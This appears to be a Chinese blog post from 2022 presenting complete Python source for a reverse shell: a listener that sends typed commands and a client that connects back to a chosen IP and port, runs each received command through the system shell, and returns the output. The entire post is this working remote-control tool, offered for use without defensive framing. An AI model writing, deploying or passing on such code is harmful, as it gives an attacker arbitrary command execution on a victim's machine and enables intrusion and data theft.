反向Shell的服務端與客戶端程式碼
阿新 • • 發佈:2022-05-06
伺服器端程式碼:
1 import socket 2 import json 3 import optparse 4 import threading 5 import sys 6 7 8 class TCPServer: 9 def __init__(self) -> None: 10 self.port = self.get_params() 11 self.server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 self.server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)13 self.server_s.bind(('0.0.0.0',self.port)) 14 self.server_s.listen(5) 15 print("[-] Waiting for connections...") 16 17 18 def get_params(self): 19 parser = optparse.OptionParser("Usage: <Program> -p port") 20 parser.add_option('-p','--port',dest='port', type='int', help="Specify listener port") 21 options,args = parser.parse_args() 22 if options.port is None: 23 print(parser.usage) 24 sys.exit(0) 25 if options.port > 65535 or options.port < 0: 26 print("Enter valide port") 27 sys.exit(0)28 return options.port 29 30 def reliable_send(self,client_s, data): 31 try: 32 33 client_s.send(json.dumps(data).encode('utf-8')) 34 except Exception as e: 35 print(e) 36 37 def reliable_recv(self,client_s): 38 recv_data = "" 39 while True: 40 try: 41 recv_data = recv_data + client_s.recv(1024).decode('utf-8') 42 return json.loads(recv_data) 43 except ValueError: 44 continue 45 46 def client_handler(self,client_s): 47 while True: 48 command = input("# ") 49 self.reliable_send(client_s, command) 50 if command == 'q': 51 break 52 recv_data = self.reliable_recv(client_s) 53 print(recv_data) 54 client_s.close() 55 56 57 def run(self): 58 try: 59 while True: 60 client_s, client_addr = self.server_s.accept() 61 print('~Connected from %s' % str(client_addr)) 62 t = threading.Thread(target=self.client_handler, args=(client_s,)) 63 t.start() 64 except KeyboardInterrupt: 65 self.server_s.close() 66 print("Exit the program") 67 sys.exit(0) 68 except Exception as e: 69 print(e) 70 71 72 73 if __name__ == "__main__": 74 tcp_server = TCPServer() 75 tcp_server.run()
客戶端程式碼:
1 import socket 2 import json 3 import optparse 4 import sys 5 import subprocess 6 7 8 9 class TCPClient: 10 def __init__(self) -> None: 11 self.target = self.get_params()[0] 12 self.port = self.get_params()[1] 13 self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 self.client_s.connect((self.target, self.port)) 15 16 17 def get_params(self): 18 parser = optparse.OptionParser("Usage: <Program> -p port") 19 parser.add_option('-p','--port',dest='port', type='int', help="Specify server port") 20 parser.add_option('-t', '--target', dest='target', type='string', help="Specify server IP address") 21 options,args = parser.parse_args() 22 if options.port is None or options.target is None: 23 print(parser.usage) 24 sys.exit(0) 25 26 return options.target, options.port 27 28 def reliable_send(self,data): 29 self.client_s.send(json.dumps(data).encode('utf-8')) 30 31 def reliable_recv(self): 32 recv_data = "" 33 while True: 34 try: 35 recv_data = recv_data + self.client_s.recv(1024).decode('utf-8') 36 return json.loads(recv_data) 37 except ValueError: 38 continue 39 40 41 def run(self): 42 try: 43 while True: 44 recv_data = self.reliable_recv() 45 46 if recv_data == 'q': 47 break 48 command_result = subprocess.check_output(recv_data, shell=True, stderr=subprocess.STDOUT) 49 50 self.reliable_send(command_result.decode('utf-8')) 51 52 self.client_s.close() 53 except: 54 command_result = 'Failed to execute' 55 self.reliable_send(command_result) 56 57 58 59 if __name__ == "__main__": 60 client = TCPClient() 61 client.run()